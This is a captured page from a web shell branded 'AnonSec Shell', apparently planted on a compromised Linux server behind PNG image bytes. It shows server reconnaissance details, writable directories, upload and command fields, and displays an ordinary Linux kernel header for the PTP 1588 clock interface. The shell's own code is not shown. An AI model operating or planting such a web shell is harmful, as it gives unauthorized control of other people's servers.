‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ Š²¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGùÍ‹Ñ™˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æ󵄵ik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ﶲ²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈDŽ¼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /usr/include/linux/ptp_clock.h
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
/*
 * PTP 1588 clock support - user space interface
 *
 * Copyright (C) 2010 OMICRON electronics GmbH
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 */

#ifndef _PTP_CLOCK_H_
#define _PTP_CLOCK_H_

#include <linux/ioctl.h>
#include <linux/types.h>

/*
 * Bits of the ptp_extts_request.flags field:
 */
#define PTP_ENABLE_FEATURE (1<<0)
#define PTP_RISING_EDGE    (1<<1)
#define PTP_FALLING_EDGE   (1<<2)
#define PTP_STRICT_FLAGS   (1<<3)
#define PTP_EXTTS_EDGES    (PTP_RISING_EDGE | PTP_FALLING_EDGE)

/*
 * flag fields valid for the new PTP_EXTTS_REQUEST2 ioctl.
 */
#define PTP_EXTTS_VALID_FLAGS	(PTP_ENABLE_FEATURE |	\
				 PTP_RISING_EDGE |	\
				 PTP_FALLING_EDGE |	\
				 PTP_STRICT_FLAGS)

/*
 * flag fields valid for the original PTP_EXTTS_REQUEST ioctl.
 * DO NOT ADD NEW FLAGS HERE.
 */
#define PTP_EXTTS_V1_VALID_FLAGS	(PTP_ENABLE_FEATURE |	\
					 PTP_RISING_EDGE |	\
					 PTP_FALLING_EDGE)

/*
 * Bits of the ptp_perout_request.flags field:
 */
#define PTP_PEROUT_ONE_SHOT		(1<<0)
#define PTP_PEROUT_DUTY_CYCLE		(1<<1)
#define PTP_PEROUT_PHASE		(1<<2)

/*
 * flag fields valid for the new PTP_PEROUT_REQUEST2 ioctl.
 */
#define PTP_PEROUT_VALID_FLAGS		(PTP_PEROUT_ONE_SHOT | \
					 PTP_PEROUT_DUTY_CYCLE | \
					 PTP_PEROUT_PHASE)

/*
 * No flags are valid for the original PTP_PEROUT_REQUEST ioctl
 */
#define PTP_PEROUT_V1_VALID_FLAGS	(0)

/*
 * struct ptp_clock_time - represents a time value
 *
 * The sign of the seconds field applies to the whole value. The
 * nanoseconds field is always unsigned. The reserved field is
 * included for sub-nanosecond resolution, should the demand for
 * this ever appear.
 *
 */
struct ptp_clock_time {
	__s64 sec;  /* seconds */
	__u32 nsec; /* nanoseconds */
	__u32 reserved;
};

struct ptp_clock_caps {
	int max_adj;   /* Maximum frequency adjustment in parts per billon. */
	int n_alarm;   /* Number of programmable alarms. */
	int n_ext_ts;  /* Number of external time stamp channels. */
	int n_per_out; /* Number of programmable periodic signals. */
	int pps;       /* Whether the clock supports a PPS callback. */
	int n_pins;    /* Number of input/output pins. */
	/* Whether the clock supports precise system-device cross timestamps */
	int cross_timestamping;
	/* Whether the clock supports adjust phase */
	int adjust_phase;
	int rsv[12];   /* Reserved for future use. */
};

struct ptp_extts_request {
	unsigned int index;  /* Which channel to configure. */
	unsigned int flags;  /* Bit field for PTP_xxx flags. */
	unsigned int rsv[2]; /* Reserved for future use. */
};

struct ptp_perout_request {
	union {
		/*
		 * Absolute start time.
		 * Valid only if (flags & PTP_PEROUT_PHASE) is unset.
		 */
		struct ptp_clock_time start;
		/*
		 * Phase offset. The signal should start toggling at an
		 * unspecified integer multiple of the period, plus this value.
		 * The start time should be "as soon as possible".
		 * Valid only if (flags & PTP_PEROUT_PHASE) is set.
		 */
		struct ptp_clock_time phase;
	};
	struct ptp_clock_time period; /* Desired period, zero means disable. */
	unsigned int index;           /* Which channel to configure. */
	unsigned int flags;
	union {
		/*
		 * The "on" time of the signal.
		 * Must be lower than the period.
		 * Valid only if (flags & PTP_PEROUT_DUTY_CYCLE) is set.
		 */
		struct ptp_clock_time on;
		/* Reserved for future use. */
		unsigned int rsv[4];
	};
};

#define PTP_MAX_SAMPLES 25 /* Maximum allowed offset measurement samples. */

struct ptp_sys_offset {
	unsigned int n_samples; /* Desired number of measurements. */
	unsigned int rsv[3];    /* Reserved for future use. */
	/*
	 * Array of interleaved system/phc time stamps. The kernel
	 * will provide 2*n_samples + 1 time stamps, with the last
	 * one as a system time stamp.
	 */
	struct ptp_clock_time ts[2 * PTP_MAX_SAMPLES + 1];
};

struct ptp_sys_offset_extended {
	unsigned int n_samples; /* Desired number of measurements. */
	unsigned int rsv[3];    /* Reserved for future use. */
	/*
	 * Array of [system, phc, system] time stamps. The kernel will provide
	 * 3*n_samples time stamps.
	 */
	struct ptp_clock_time ts[PTP_MAX_SAMPLES][3];
};

struct ptp_sys_offset_precise {
	struct ptp_clock_time device;
	struct ptp_clock_time sys_realtime;
	struct ptp_clock_time sys_monoraw;
	unsigned int rsv[4];    /* Reserved for future use. */
};

enum ptp_pin_function {
	PTP_PF_NONE,
	PTP_PF_EXTTS,
	PTP_PF_PEROUT,
	PTP_PF_PHYSYNC,
};

struct ptp_pin_desc {
	/*
	 * Hardware specific human readable pin name. This field is
	 * set by the kernel during the PTP_PIN_GETFUNC ioctl and is
	 * ignored for the PTP_PIN_SETFUNC ioctl.
	 */
	char name[64];
	/*
	 * Pin index in the range of zero to ptp_clock_caps.n_pins - 1.
	 */
	unsigned int index;
	/*
	 * Which of the PTP_PF_xxx functions to use on this pin.
	 */
	unsigned int func;
	/*
	 * The specific channel to use for this function.
	 * This corresponds to the 'index' field of the
	 * PTP_EXTTS_REQUEST and PTP_PEROUT_REQUEST ioctls.
	 */
	unsigned int chan;
	/*
	 * Reserved for future use.
	 */
	unsigned int rsv[5];
};

#define PTP_CLK_MAGIC '='

#define PTP_CLOCK_GETCAPS  _IOR(PTP_CLK_MAGIC, 1, struct ptp_clock_caps)
#define PTP_EXTTS_REQUEST  _IOW(PTP_CLK_MAGIC, 2, struct ptp_extts_request)
#define PTP_PEROUT_REQUEST _IOW(PTP_CLK_MAGIC, 3, struct ptp_perout_request)
#define PTP_ENABLE_PPS     _IOW(PTP_CLK_MAGIC, 4, int)
#define PTP_SYS_OFFSET     _IOW(PTP_CLK_MAGIC, 5, struct ptp_sys_offset)
#define PTP_PIN_GETFUNC    _IOWR(PTP_CLK_MAGIC, 6, struct ptp_pin_desc)
#define PTP_PIN_SETFUNC    _IOW(PTP_CLK_MAGIC, 7, struct ptp_pin_desc)
#define PTP_SYS_OFFSET_PRECISE \
	_IOWR(PTP_CLK_MAGIC, 8, struct ptp_sys_offset_precise)
#define PTP_SYS_OFFSET_EXTENDED \
	_IOWR(PTP_CLK_MAGIC, 9, struct ptp_sys_offset_extended)

#define PTP_CLOCK_GETCAPS2  _IOR(PTP_CLK_MAGIC, 10, struct ptp_clock_caps)
#define PTP_EXTTS_REQUEST2  _IOW(PTP_CLK_MAGIC, 11, struct ptp_extts_request)
#define PTP_PEROUT_REQUEST2 _IOW(PTP_CLK_MAGIC, 12, struct ptp_perout_request)
#define PTP_ENABLE_PPS2     _IOW(PTP_CLK_MAGIC, 13, int)
#define PTP_SYS_OFFSET2     _IOW(PTP_CLK_MAGIC, 14, struct ptp_sys_offset)
#define PTP_PIN_GETFUNC2    _IOWR(PTP_CLK_MAGIC, 15, struct ptp_pin_desc)
#define PTP_PIN_SETFUNC2    _IOW(PTP_CLK_MAGIC, 16, struct ptp_pin_desc)
#define PTP_SYS_OFFSET_PRECISE2 \
	_IOWR(PTP_CLK_MAGIC, 17, struct ptp_sys_offset_precise)
#define PTP_SYS_OFFSET_EXTENDED2 \
	_IOWR(PTP_CLK_MAGIC, 18, struct ptp_sys_offset_extended)

struct ptp_extts_event {
	struct ptp_clock_time t; /* Time event occured. */
	unsigned int index;      /* Which channel produced the event. */
	unsigned int flags;      /* Reserved for future use. */
	unsigned int rsv[2];     /* Reserved for future use. */
};

#endif

Anon7 - 2022
AnonSec Team